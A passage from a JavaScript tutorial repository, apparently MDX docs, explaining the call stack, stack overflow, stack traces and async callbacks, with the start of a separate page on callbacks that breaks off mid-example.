│printSquare │ │ square │ │printSquare │ └─────────────┘ ├─────────────┤ └─────────────┘ │printSquare │ └─────────────┘ Depth: 1 Depth: 2 Depth: 3 Depth: 2 Depth: 1 Depth: 0 ``` </Tab> </Tabs> <Tip> **Understanding the flow**: Each function must completely finish before the function that called it can continue. This is why `printSquare` has to wait for `square`, and `square` has to wait for `multiply`. </Tip> --- ## The #1 Call Stack Mistake: Stack Overflow The call stack has a **limited size**. The default limit varies by engine — Chrome's V8 typically allows around 10,000–15,000 frames, while Firefox's SpiderMonkey has a similar threshold. If you keep adding functions without removing them, eventually you'll run out of space. This is called a **stack overflow**, and JavaScript throws a **[RangeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError)** when it happens. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ STACK OVERFLOW │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WRONG: No Base Case RIGHT: With Base Case │ │ ──────────────────── ───────────────────── │ │ │ │ function count() { function count(n) { │ │ count() // Forever! if (n <= 0) return // Stop! │ │ } count(n - 1) │ │ } │ │ │ │ Stack grows forever... Stack grows, then shrinks │ │ ┌─────────┐ ┌─────────┐ │ │ │ count() │ │ count(0)│ ← Returns │ │ ├─────────┤ ├─────────┤ │ │ │ count() │ │ count(1)│ │ │ ├─────────┤ ├─────────┤ │ │ │ count() │ │ count(2)│ │ │ ├─────────┤ └─────────┘ │ │ │ .... │ │ │ └─────────┘ │ │ 💥 CRASH! ✓ Success! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **The Trap:** Recursive functions without a proper stopping condition will crash your program. The most common cause is **infinite recursion**, a function that calls itself forever without a base case. </Warning> ### The Classic Mistake: Missing Base Case ```javascript // ❌ BAD: This will crash! function countdown(n) { console.log(n); countdown(n - 1); // Calls itself forever! } countdown(5); ``` **What happens:** ``` Stack: [ countdown(5) ] Stack: [ countdown(4), countdown(5) ] Stack: [ countdown(3), countdown(4), countdown(5) ] Stack: [ countdown(2), countdown(3), countdown(4), countdown(5) ] ... keeps growing forever ... 💥 CRASH: Maximum call stack size exceeded ``` ### The Fix: Add a Base Case ```javascript // ✅ GOOD: This works correctly function countdown(n) { if (n <= 0) { console.log("Done!"); return; // ← BASE CASE: Stop here! } console.log(n); countdown(n - 1); } countdown(5); // Output: 5, 4, 3, 2, 1, Done! ``` **What happens now:** ``` Stack: [ countdown(5) ] Stack: [ countdown(4), countdown(5) ] Stack: [ countdown(3), countdown(4), countdown(5) ] Stack: [ countdown(2), countdown(3), ..., countdown(5) ] Stack: [ countdown(1), countdown(2), ..., countdown(5) ] Stack: [ countdown(0), countdown(1), ..., countdown(5) ] ↑ Base case reached! Start returning. Stack: [ countdown(1), ..., countdown(5) ] Stack: [ countdown(2), ..., countdown(5) ] ... stack unwinds ... Stack: [ countdown(5) ] Stack: [ empty ] ✅ Program completes successfully ``` ### Error Messages by Browser | Browser | Error Message | |---------|---------------| | Chrome | `RangeError: Maximum call stack size exceeded` | | Firefox | `InternalError: too much recursion` (non-standard) | | Safari | `RangeError: Maximum call stack size exceeded` | <Note> Firefox uses `InternalError` which is a non-standard error type specific to the SpiderMonkey engine. Chrome and Safari use the standard `RangeError`. </Note> ### Common Causes of Stack Overflow <AccordionGroup> <Accordion title="1. Infinite Recursion (No Base Case)"> ```javascript // Missing the stopping condition function loop() { loop(); } loop(); // 💥 Crash! ``` </Accordion> <Accordion title="2. Base Case Never Reached"> ```javascript function countUp(n) { if (n >= 1000000000000) return; // Too far away! countUp(n + 1); } countUp(0); // 💥 Crash before reaching base case ``` </Accordion> <Accordion title="3. Accidental Recursion in Setters"> ```javascript class Person { set name(value) { this.name = value; // Calls the setter again! Infinite loop! } } const p = new Person(); p.name = "Alice"; // 💥 Crash! // Fix: Use a different property name class PersonFixed { set name(value) { this._name = value; // Use _name instead } } ``` </Accordion> <Accordion title="4. Circular Function Calls"> ```javascript function a() { b(); } function b() { a(); } // a calls b, b calls a, forever! a(); // 💥 Crash! ``` </Accordion> </AccordionGroup> <Tip> **Prevention tips:** 1. Always define a clear **base case** for recursive functions 2. Make sure each recursive call moves **toward** the base case 3. Consider using **iteration** (loops) instead of recursion for simple cases 4. Be careful with property setters, use different internal property names </Tip> --- ## Debugging the Call Stack When something goes wrong, the call stack is your best friend for figuring out what happened. ### Reading a Stack Trace When an error occurs, JavaScript gives you a **[stack trace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/stack)**, a snapshot of the call stack at the moment of the error. ```javascript function a() { b(); } function b() { c(); } function c() { throw new Error('Something went wrong!'); } a(); ``` **Output:** ``` Error: Something went wrong! at c (script.js:4:9) at b (script.js:2:14) at a (script.js:1:14) at script.js:7:1 ``` **How to read it:** - Read from **top to bottom** = most recent call to oldest - `at c (script.js:4:9)` = Error occurred in function `c`, file `script.js`, line 4, column 9 - The trace shows you exactly how the program got to the error ### Using Browser DevTools <Steps> <Step title="Open DevTools"> Press `F12` or `Cmd+Option+I` (Mac) / `Ctrl+Shift+I` (Windows) </Step> <Step title="Go to Sources Tab"> Click on the "Sources" tab (Chrome) or "Debugger" tab (Firefox) </Step> <Step title="Set a Breakpoint"> Click on a line number in your code to set a breakpoint. Execution will pause there. </Step> <Step title="View the Call Stack"> When paused, look at the "Call Stack" panel on the right. It shows all the functions currently on the stack. </Step> <Step title="Step Through Code"> Use the step buttons to execute one line at a time and watch the stack change. </Step> </Steps> <Tip> **Pro debugging tip:** If you're dealing with recursion, add a `console.log` at the start of your function to see how many times it's being called: ```javascript function factorial(n) { console.log('factorial called with n =', n); if (n <= 1) return 1; return n * factorial(n - 1); } ``` </Tip> --- ## The Call Stack and Asynchronous Code You might be wondering: "If JavaScript can only do one thing at a time, how does it handle things like `setTimeout` or fetching data from a server?" Great question! The call stack is only **part** of the picture. <Note> When you use asynchronous functions like [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout), [`fetch`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API), or event listeners, JavaScript doesn't put them on the call stack immediately. Instead, they go through a different system involving the **[Event Loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop)** and **Task Queue**. This is covered in detail in the [Event Loop](/concepts/event-loop) section. </Note> Here's a sneak peek: ```javascript console.log('First'); setTimeout(() => { console.log('Second'); }, 0); console.log('Third'); // Output: // First // Third // Second ← Even with 0ms delay, this runs last! ``` The `setTimeout` callback doesn't go directly on the call stack. It waits in a queue until the stack is empty. As Philip Roberts demonstrated in his acclaimed JSConf EU talk "What the heck is the event loop?" (viewed over 8 million times), this is why "Third" prints before "Second" even though the timeout is 0 milliseconds. <CardGroup cols={2}> <Card title="Event Loop" icon="rotate" href="/concepts/event-loop"> Learn how JavaScript handles asynchronous operations </Card> <Card title="Promises" icon="clock" href="/concepts/promises"> Modern way to handle async code </Card> </CardGroup> --- ## Common Misconceptions <AccordionGroup> <Accordion title="The call stack and memory heap are the same thing"> **Wrong!** The call stack and heap are completely different structures: | Component | Purpose | Structure | |-----------|---------|-----------| | **Call Stack** | Tracks function execution | Ordered (LIFO), small, fast | | **Heap** | Stores data (objects, arrays) | Unstructured, large | ```javascript function example() { // Primitives live in the stack frame const x = 10; const name = "Alice"; // Objects live in the HEAP (reference stored in stack) const user = { name: "Alice" }; const numbers = [1, 2, 3]; } ``` When the function returns, the stack frame is popped (primitives gone), but heap objects persist until garbage collected. </Accordion> <Accordion title="Async callbacks execute immediately when the timer finishes"> **Wrong!** When a timer finishes, the callback does NOT run immediately. It goes to the **Task Queue** and must wait for: 1. The call stack to be completely empty 2. All microtasks to be processed first 3. Its turn in the task queue ```javascript console.log('Start'); setTimeout(() => { console.log('Timer'); // Does NOT run at 0ms! }, 0); console.log('End'); // Output: Start, End, Timer // Even with 0ms delay, 'Timer' prints LAST ``` The callback must wait until the current script finishes and the stack is empty. </Accordion> <Accordion title="JavaScript can run multiple functions at once"> **Wrong!** JavaScript is **single-threaded**. It has ONE call stack and can only execute ONE thing at a time. ```javascript function a() { console.log('A start'); b(); // JS pauses 'a' and runs 'b' completely console.log('A end'); } function b() { console.log('B'); } a(); // Output: A start, B, A end (sequential, not parallel) ``` **The source of confusion:** People mistake JavaScript's *asynchronous behavior* for *parallel execution*. Web APIs (timers, fetch, etc.) run in separate browser threads, but JavaScript code itself runs one operation at a time. The Event Loop coordinates callbacks, creating the *illusion* of concurrency. </Accordion> <Accordion title="Promises are completely asynchronous"> **Wrong!** The Promise *constructor* runs **synchronously**. Only the `.then()` callbacks are asynchronous: ```javascript console.log('1'); new Promise((resolve) => { console.log('2'); // Runs SYNCHRONOUSLY! resolve(); }).then(() => { console.log('3'); // Async (microtask) }); console.log('4'); // Output: 1, 2, 4, 3 // Note: '2' prints before '4'! ``` The executor function passed to `new Promise()` runs immediately on the call stack. Only the `.then()`, `.catch()`, and `.finally()` callbacks are queued as microtasks. </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about the Call Stack:** 1. **JavaScript is single-threaded** — It has ONE call stack and can only do one thing at a time 2. **LIFO principle** — Last In, First Out. The most recent function call finishes first 3. **Execution contexts** — Each function call creates a "frame" containing arguments, local variables, and return address 4. **Synchronous execution** — Functions must complete before their callers can continue 5. **Stack overflow** — Happens when the stack gets too deep, usually from infinite recursion 6. **Always have a base case** — Recursive functions need a stopping condition 7. **Stack traces are your friend** — They show you exactly how your program got to an error 8. **Async callbacks wait** — `setTimeout`, `fetch`, and event callbacks don't run until the call stack is empty 9. **Each frame is isolated** — Local variables in one function call don't affect variables in another call of the same function 10. **Debugging tools show the stack** — Browser DevTools let you pause execution and inspect the current call stack </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What does LIFO stand for and why is it important?"> **Answer:** LIFO stands for **Last In, First Out**. It's important because it determines the order in which functions execute and return. The most recently called function must complete before the function that called it can continue. This is how JavaScript keeps track of nested function calls and knows where to return when a function finishes. </Accordion> <Accordion title="Question 2: What's the maximum stack depth for this code?"> ```javascript function a() { b(); } function b() { c(); } function c() { d(); } function d() { console.log('done'); } a(); ``` **Answer:** The maximum stack depth is **4 frames**. ``` Stack at deepest point: [ d, c, b, a ] ``` When `d()` is executing, all four functions are on the stack. After `d()` logs "done" and returns, the stack starts unwinding. </Accordion> <Accordion title="Question 3: Why does this code cause a stack overflow?"> ```javascript function greet() { greet(); } greet(); ``` **Answer:** This code causes a stack overflow because there's **no base case** to stop the recursion. - `greet()` is called - `greet()` calls `greet()` again - That `greet()` calls `greet()` again - This continues forever, adding new frames to the stack - Eventually the stack runs out of space → **Maximum call stack size exceeded** **Fix:** Add a condition to stop the recursion: ```javascript function greet(times) { if (times <= 0) return; // Base case console.log('Hello!'); greet(times - 1); } greet(3); ``` </Accordion> <Accordion title="Question 4: What information is stored in an execution context?"> **Answer:** An execution context (stack frame) contains: 1. **Function arguments** — The values passed to the function 2. **Local variables** — Variables declared with `var`, `let`, or `const` 3. **The `this` value** — The context binding for the function 4. **Return address** — Where to continue executing after the function returns 5. **Scope chain** — Access to variables from outer (parent) functions This is why each function call can have its own independent set of variables without interfering with other calls. </Accordion> <Accordion title="Question 5: What's the output of this code and why?"> ```javascript console.log('First') setTimeout(() => { console.log('Second') }, 0) console.log('Third') ``` **Answer:** The output is: ``` First Third Second ``` Even though `setTimeout` has a 0ms delay, "Second" prints last because: 1. `setTimeout` doesn't put the callback directly on the call stack 2. Instead, the callback waits in the **task queue** 3. The event loop only moves it to the call stack when the stack is empty 4. "Third" runs first because it's already on the call stack This demonstrates that the call stack must be empty before async callbacks execute. </Accordion> <Accordion title="Question 6: How do you read a stack trace?"> Given this error: ``` Error: Something went wrong! at c (script.js:4:9) at b (script.js:2:14) at a (script.js:1:14) at script.js:7:1 ``` **Answer:** Read stack traces from **top to bottom** (most recent to oldest): 1. **Top line** (`at c`) — Where the error actually occurred (function `c`, line 4, column 9) 2. **Following lines** — The chain of function calls that led here 3. **Bottom line** — Where the chain started (the initial call) The trace tells you: the program started at line 7, called `a()`, which called `b()`, which called `c()`, where the error was thrown. This helps you trace back through your code to find the root cause. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the call stack in JavaScript?"> The call stack is a LIFO (Last In, First Out) data structure that JavaScript uses to track function execution. According to the ECMAScript specification, each function call creates an "execution context" that is pushed onto the stack. When a function returns, its context is popped off and execution resumes in the calling function. </Accordion> <Accordion title="What causes a stack overflow error in JavaScript?"> A stack overflow occurs when the call stack exceeds its maximum size, typically around 10,000–15,000 frames in V8 (Chrome, Node.js). The most common cause is infinite recursion — a function that calls itself without a proper base case. JavaScript throws a `RangeError: Maximum call stack size exceeded` when this happens. </Accordion> <Accordion title="Why is JavaScript single-threaded?"> JavaScript was designed as a single-threaded language to simplify DOM manipulation — having multiple threads modifying the page simultaneously would create race conditions. As documented in MDN, JavaScript has one call stack and can only execute one piece of code at a time. Asynchronous behavior is achieved through the event loop, Web APIs, and task queues rather than multiple threads. </Accordion> <Accordion title="What is an execution context in JavaScript?"> An execution context is the environment in which JavaScript code is evaluated and executed. It contains the function's arguments, local variables, the `this` binding, a reference to the outer scope (scope chain), and the return address. The ECMAScript specification defines two types: the Global Execution Context (created when your script starts) and Function Execution Contexts (created on each function call). </Accordion> <Accordion title="How does the call stack relate to the event loop?"> The call stack handles synchronous code execution, while the event loop manages asynchronous callbacks. When an async operation (like `setTimeout` or `fetch`) completes, its callback is placed in a task queue. The event loop checks if the call stack is empty, and only then moves the next callback onto the stack for execution. This architecture was popularized by Philip Roberts' JSConf EU talk, which has been viewed over 8 million times. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitive Types" icon="atom" href="/concepts/primitive-types"> Understanding how primitives are stored in stack frames </Card> <Card title="Scope & Closures" icon="lock" href="/concepts/scope-and-closures"> Understanding variable visibility and how functions remember their environment </Card> <Card title="Event Loop" icon="rotate" href="/concepts/event-loop"> How async code works with the call stack </Card> <Card title="Recursion" icon="repeat" href="/concepts/recursion"> Functions that call themselves </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Call Stack — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Call_stack"> Official MDN documentation on the Call Stack </Card> <Card title="JavaScript Event Loop — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop"> How the event loop interacts with the call stack </Card> <Card title="RangeError — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError"> The error thrown when the call stack overflows </Card> <Card title="Error.stack — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/stack"> How to read and use stack traces for debugging </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Understanding Javascript Call Stack, Event Loops" icon="newspaper" href="https://medium.com/@gaurav.pandvia/understanding-javascript-function-executions-tasks-event-loop-call-stack-more-part-1-5683dea1f5ec"> The complete picture: how the Call Stack, Heap, Event Loop, and Web APIs work together. Great starting point for understanding JavaScript's runtime. </Card> <Card title="Understanding the JavaScript Call Stack" icon="newspaper" href="https://medium.freecodecamp.org/understanding-the-javascript-call-stack-861e41ae61d4"> Beginner-friendly freeCodeCamp tutorial covering LIFO, stack traces, and stack overflow with clear code examples. </Card> <Card title="What Is The Execution Context? What Is The Call Stack?" icon="newspaper" href="https://medium.com/@valentinog/javascript-what-is-the-execution-context-what-is-the-call-stack-bd23c78f10d1"> Go deeper into how the JS engine creates execution contexts and manages the Global Memory. Perfect for interview prep. </Card> <Card title="What is the JS Event Loop and Call Stack?" icon="newspaper" href="https://gist.github.com/jesstelford/9a35d20a2aa044df8bf241e00d7bc2d0"> Beautiful ASCII art visualization showing step-by-step how setTimeout interacts with the Call Stack and Event Loop. </Card> <Card title="Understanding Execution Context and Execution Stack" icon="newspaper" href="https://blog.bitsrc.io/understanding-execution-context-and-execution-stack-in-javascript-1c9ea8642dd0"> Advanced deep-dive into Creation vs Execution phases, Lexical Environment, and why `let`/`const` behave differently than `var`. </Card> <Card title="How JavaScript Works Under The Hood" icon="newspaper" href="https://dev.to/bipinrajbhar/how-javascript-works-under-the-hood-an-overview-of-javascript-engine-heap-and-call-stack-1j5o"> Explore the JS Engine architecture: V8, memory heap, and call stack from a systems perspective. </Card> </CardGroup> ## Courses <Card title="Introduction to Asynchronous JavaScript — Piccalilli" icon="graduation-cap" href="https://piccalil.li/javascript-for-everyone/lessons/48"> Part of the "JavaScript for Everyone" course by Mat Marquis. This free lesson explains why JavaScript is single-threaded, how the call stack manages execution contexts, and introduces the event loop and concurrency model. Beautifully written with a fun narrative style. </Card> ## Videos <CardGroup cols={2}> <Card title="What the heck is the event loop anyway?" icon="video" href="https://www.youtube.com/watch?v=8aGhZQkoFbQ"> 🏆 The legendary JSConf talk that made mass developers finally "get" the event loop. Amazing visualizations — a must watch! </Card> <Card title="The JS Call Stack Explained In 9 Minutes" icon="video" href="https://www.youtube.com/watch?v=W8AeMrVtFLY"> Short, sweet, and beginner-friendly. Colt Steele breaks down the call stack with practical examples. </Card> <Card title="How JavaScript Code is executed? & Call Stack" icon="video" href="https://www.youtube.com/watch?v=iLWTnMzWtj4"> Part of the popular "Namaste JavaScript" series. Akshay Saini explains execution with great visuals and examples. </Card> <Card title="Understanding JavaScript Execution" icon="video" href="https://www.youtube.com/watch?v=Z6a1cLyq7Ac"> Shows how JavaScript creates execution contexts and manages memory during function calls. Part of Codesmith's excellent "JavaScript: The Hard Parts" series. </Card> <Card title="Javascript: the Call Stack explained" icon="video" href="https://www.youtube.com/watch?v=w6QGEiQceOM"> Traces through nested function calls line by line, showing exactly when frames are pushed and popped. Good for visual learners who want to see each step. </Card> <Card title="What is the Call Stack?" icon="video" href="https://www.youtube.com/watch?v=w7QWQlkLY_s"> Uses a simple factorial example to demonstrate recursion on the call stack. Under 10 minutes, perfect for a quick refresher. </Card> <Card title="The Call Stack" icon="video" href="https://www.youtube.com/watch?v=Q2sFmqvpBe0"> Draws out the stack visually as code executes, making the LIFO concept easy to grasp. Includes a stack overflow example that shows what happens when things go wrong. </Card> <Card title="Call Stacks - CS50" icon="video" href="https://www.youtube.com/watch?v=aCPkszeKRa4"> Harvard's CS50 explains call stacks from a computer science perspective — great for understanding the theory. </Card> <Card title="Learn the JavaScript Call Stack" icon="video" href="https://www.youtube.com/watch?v=HXqXPGS96rw"> Live codes examples while explaining each concept, so you see exactly how to trace execution yourself. Great for following along in your own editor. </Card> <Card title="JavaScript Functions and the Call Stack" icon="video" href="https://www.youtube.com/watch?v=P6H-T4cUDR4"> Focuses on the relationship between function invocation and stack frames. Explains why understanding the call stack helps you debug errors faster. </Card> </CardGroup> ================================================ FILE: docs/concepts/callbacks.mdx ================================================ --- title: "Callbacks" sidebarTitle: "Callbacks: The Foundation of Async" description: "Learn JavaScript callbacks. Understand sync vs async callbacks, error-first patterns, callback hell, and why Promises were invented." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Async JavaScript" "article:tag": "javascript callbacks, async callbacks, callback hell, error-first pattern, callback functions" --- Why doesn't JavaScript wait? When you set a timer, make a network request, or listen for a click, how does your code keep running instead of freezing until that operation completes? ```javascript console.log('Before timer') setTimeout(function() { console.log('Timer fired!') }, 1000) console.log('After timer') // Output: // Before timer // After timer // Timer fired! (1 second later) ``` The answer is **callbacks**: functions you pass to other functions, saying "call me back when you're done." As defined on MDN, a callback function is passed into another function as an argument and is then invoked inside the outer function. Callbacks power everything async in JavaScript. Every event handler, every timer, every network request. They all rely on them. <Info> **What you'll learn in this guide:** - What callbacks are and why JavaScript uses them - The difference between synchronous and asynchronous callbacks - How callbacks connect to higher-order functions - Common callback patterns (event handlers, timers, array methods) - The error-first callback pattern (Node.js convention) - Callback hell and the "pyramid of doom" - How to escape callback hell - Why Promises were invented to solve callback problems </Info> <Warning> **Prerequisites:** This guide assumes familiarity with [the Event Loop](/concepts/event-loop). It's the mechanism that makes async callbacks work! You should also understand [higher-order functions](/concepts/higher-order-functions), since callbacks are passed to higher-order functions. </Warning> --- ## What is a Callback? A **[callback](https://developer.mozilla.org/en-US/docs/Glossary/Callback_function)** is a function passed as an argument to another function, that gets called later. The other function decides when (or if) to run it. ```javascript // greet is a callback function function greet(name) { console.log(`Hello, ${name}!`) } // processUserInput accepts a callback function processUserInput(callback) { const name = 'Alice' callback(name) // "calling back" the function we received } processUserInput(greet) // "Hello, Alice!" ``` The term "callback" comes from the idea of being **called back**. Think of it like getting a buzzer at a restaurant: "We'll buzz you when your table is ready." <Tip> **Here's the thing:** A callback is just a regular function. Nothing magical about it. What makes it a "callback" is *how it's used*: passed to another function to be executed later. </Tip> ### Callbacks Can Be Anonymous You don't have to define callbacks as named functions. Anonymous functions (and arrow functions) work just as well: ```javascript // Named function as callback function handleClick() { console.log('Clicked!') } button.addEventListener('click', handleClick) // Anonymous function as callback button.addEventListener('click', function() { console.log('Clicked!') }) // Arrow function as callback button.addEventListener('click', () => { console.log('Clicked!') }) ``` All three do the same thing. Named functions are easier to debug though, and you can reuse them. --- ## The Restaurant Buzzer Analogy Callbacks work like the buzzer you get at a busy restaurant: 1. **You place an order** — You call a function and pass it a callback 2. **You get a buzzer** — The function registers your callback 3. **You go sit down** — Your code continues running (non-blocking) 4. **The buzzer goes off** — The async operation completes 5. **You pick up your food** — Your callback is executed ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE RESTAURANT BUZZER ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU (Your Code) RESTAURANT (JavaScript Runtime) │ │ │ │ ┌──────────────┐ ┌─────────────────────────────────┐ │ │ │ │ │ KITCHEN │ │ │ │ "I'd like │ ────────► │ (Web APIs) │ │ │ │ a burger" │ ORDER │ │ │ │ │ │ │ [setTimeout: 5 min] │ │ │ └──────────────┘ │ [fetch: waiting...] │ │ │ │ │ [click: listening...] │ │ │ │ └─────────────────────────────────┘ │ │ │ │ │ │ │ You get a buzzer │ When ready... │ │ │ and go sit down ▼ │ │ │ ┌─────────────────────────────────┐ │ │ │ │ PICKUP COUNTER │ │ │ ▼ │ (Callback Queue) │ │ │ ┌──────────────┐ │ │ │ │ │ │ │ [Your callback waiting here] │ │ │ │ 📱 BUZZ! │ ◄──────── │ │ │ │ │ │ READY! └─────────────────────────────────┘ │ │ │ Time to │ │ │ │ eat! │ The Event Loop calls your callback │ │ └──────────────┘ when the kitchen (Web API) is done │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The key insight: **you don't wait at the counter**. You give them a way to reach you (the callback), and you go do other things. That's how JavaScript stays fast — it never sits around waiting. According to the 2023 State of JS survey, while most developers now prefer Promises and async/await for new code, callbacks remain foundational and are still used extensively in event handling and Node.js APIs. ```javascript // You place your order (start async operation) setTimeout(function eatBurger() { console.log('Eating my burger!') // This is the callback }, 5000) // You go sit down (your code continues) console.log('Sitting down, checking my phone...') console.log('Chatting with friends...') console.log('Reading the menu...') // Output: // Sitting down, checking my phone... // Chatting with friends... // Reading the menu... // Eating my burger! (5 seconds later) ``` --- ## Callbacks and Higher-Order Functions Callbacks and [higher-order functions](/concepts/higher-order-functions) go hand in hand: - A **higher-order function** is a function that accepts functions as arguments or returns them - A **callback** is the function being passed to a higher-order function ```javascript // forEach is a HIGHER-ORDER FUNCTION (it accepts a function) // The arrow function is the CALLBACK (it's being passed in) const numbers = [1, 2, 3] numbers.forEach((num) => { // ← This is the callback console.log(num * 2) }) // 2, 4, 6 ``` Every time you use `map`, `filter`, `forEach`, `reduce`, `sort`, or `find`, you're passing callbacks to higher-order functions: ```javascript const users = [ { name: 'Alice', age: 25 }, { name: 'Bob', age: 17 }, { name: 'Charlie', age: 30 } ] // filter accepts a callback that returns true/false const adults = users.filter(user => user.age >= 18) // map accepts a callback that transforms each element const names = users.map(user => user.name) // find accepts a callback that returns true when found const bob = users.find(user => user.name === 'Bob') // sort accepts a callback that compares two elements const byAge = users.sort((a, b) => a.age - b.age) ``` <Note> **The connection:** Understanding higher-order functions helps you understand callbacks. If you're comfortable with `map` and `filter`, you already understand callbacks! The only difference with async callbacks is *when* they execute. </Note> --- ## Synchronous vs Asynchronous Callbacks Some callbacks run right away. Others run later. Getting this wrong will bite you. ### Synchronous Callbacks **Synchronous callbacks** are executed immediately, during the function call. They block until complete. ```javascript const numbers = [1, 2, 3, 4, 5] console.log('Before map') const doubled = numbers.map(num => { console.log(`Doubling ${num}`) return num * 2 }) console.log('After map') console.log(doubled) // Output (all synchronous, in order): // Before map // Doubling 1 // Doubling 2 // Doubling 3 // Doubling 4 // Doubling 5 // After map // [2, 4, 6, 8, 10] ``` The callback runs for each element **before** `map` returns. Nothing else happens until it's done. **Common synchronous callbacks:** - Array methods: `map`, `filter`, `forEach`, `reduce`, `find`, `sort`, `every`, `some` - String methods: `replace` (with function) - Object methods: `Object.keys().forEach()` ### Asynchronous Callbacks **Asynchronous callbacks** are executed later, after the current code finishes. They don't block. ```javascript console.log('Before setTimeout') setTimeout(() => { console.log('Inside setTimeout') }, 0) // Even with 0ms delay! console.log('After setTimeout') // Output: // Before setTimeout // After setTimeout // Inside setTimeout (runs AFTER all sync code) ``` Even with a 0ms delay, the callback runs **after** the synchronous code. This is because async callbacks go through the [event loop](/concepts/event-loop). **Common asynchronous callbacks:** - Timers: `setTimeout`, `setInterval` - Events: `addEventListener`, `onclick` - Network: `XMLHttpRequest.onload`, `fetch().then()` - Node.js I/O: `fs.readFile`, `http.get` ### Comparison Table | Aspect | Synchronous Callbacks | Asynchronous Callbacks | |--------|----------------------|------------------------| | **When executed** | Immediately, during the function call | Later, via the event loop | | **Blocking** | Yes — code waits for completion | No — code continues immediately | | **Examples** | `map`, `filter`, `forEach`, `sort` | `setTimeout`, `addEventListener`, `fetch` | | **Use case** | Data transformation, iteration | I/O, user interaction, timers | | **Error handling** | Regular `try/catch` works | `try/catch` won't catch errors! | | **Return value** | Can return values | Return values usually ignored | ### The Critical Difference: Error Handling This trips up almost everyone: ```javascript // Synchronous callback - try/catch WORKS try { [1, 2, 3].forEach(num => { if (num === 2) throw new Error('Found 2!') }) } catch (error) { console.log('Caught:', error.message) // "Caught: Found 2!" } // Asynchronous callback - try/catch DOES NOT WORK! try { setTimeout(() => { throw new Error('Async error!') // This error escapes! }, 100) } catch (error) { // This will NEVER run console.log('Caught:', error.message) } // The error crashes your program! ``` Why? The `try/catch` runs immediately. By the time the async callback executes, the `try/catch` is long gone. The callback runs in a different "turn" of the event loop. --- ## How Callbacks Work with the Event Loop To understand async callbacks, you need to see how they work with the [event loop](/concepts/event-loop). ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ASYNC CALLBACK LIFECYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. YOUR CODE RUNS │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ console.log('Start') │ │ │ │ setTimeout(callback, 1000) // Register callback with Web API │ │ │ │ console.log('End') │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ 2. WEB API HANDLES THE ASYNC OPERATION │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Timer starts counting... │ │ │ │ (Your code continues running - it doesn't wait!) │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ (after 1000ms) │ │ 3. CALLBACK QUEUED │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Timer done! Callback added to Task Queue │ │ │ │ [callback] ← waiting here │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ (when call stack is empty) │ │ 4. EVENT LOOP EXECUTES CALLBACK │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Event Loop: "Call stack empty? Let me grab that callback..." │ │ │ │ callback() runs! │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Let's trace through a real example: ```javascript console.log('1: Script start') setTimeout(function first() { console.log('2: First timeout') }, 0) setTimeout(function second() { console.log('3: Second timeout') }, 0) console.log('4: Script end') ``` **Execution order:** 1. `console.log('1: Script start')` — runs immediately → "1: Script start" 2. `setTimeout(first, 0)` — registers `first` callback with Web APIs 3. `setTimeout(second, 0)` — registers `second` callback with Web APIs 4. `console.log('4: Script end')` — runs immediately → "4: Script end" 5. Call stack is now empty 6. Event Loop checks Task Queue — finds `first` 7. `first()` runs → "2: First timeout" 8. Event Loop checks Task Queue — finds `second` 9. `second()` runs → "3: Second timeout" **Output:** ``` 1: Script start 4: Script end 2: First timeout 3: Second timeout ``` Even with a 0ms delay, the callbacks still run **after** all the synchronous code finishes. <Tip> **Read more:** Our [Event Loop guide](/concepts/event-loop) goes deep into tasks, microtasks, and rendering. If you want to understand *why* `Promise.then()` runs before `setTimeout(..., 0)`, check it out! </Tip> --- ## Common Callback Patterns Here are the most common ways you'll see callbacks in the wild. ### Pattern 1: Event Handlers The most common use of callbacks in browser JavaScript: ```javascript // DOM events const button = document.getElementById('myButton') button.addEventListener('click', function handleClick(event) { console.log('Button clicked!') console.log('Event type:', event.type) // "click" console.log('Target:', event.target) // the button element }) // The callback receives an Event object with details about what happened ``` You can also use named functions for reusability: ```javascript function handleClick(event) { console.log('Clicked:', event.target.id) } function handleMouseOver(event) { event.target.style.backgroundColor = 'yellow' } button.addEventListener('click', handleClick) button.addEventListener('mouseover', handleMouseOver) // Later, you can remove them: button.removeEventListener('click', handleClick) ``` ### Pattern 2: Timers `setTimeout` and `setInterval` both accept callbacks: ```javascript // setTimeout - runs once after delay const timeoutId = setTimeout(function() { console.log('This runs once after 2 seconds') }, 2000) // Cancel it before it runs clearTimeout(timeoutId) // setInterval - runs repeatedly let 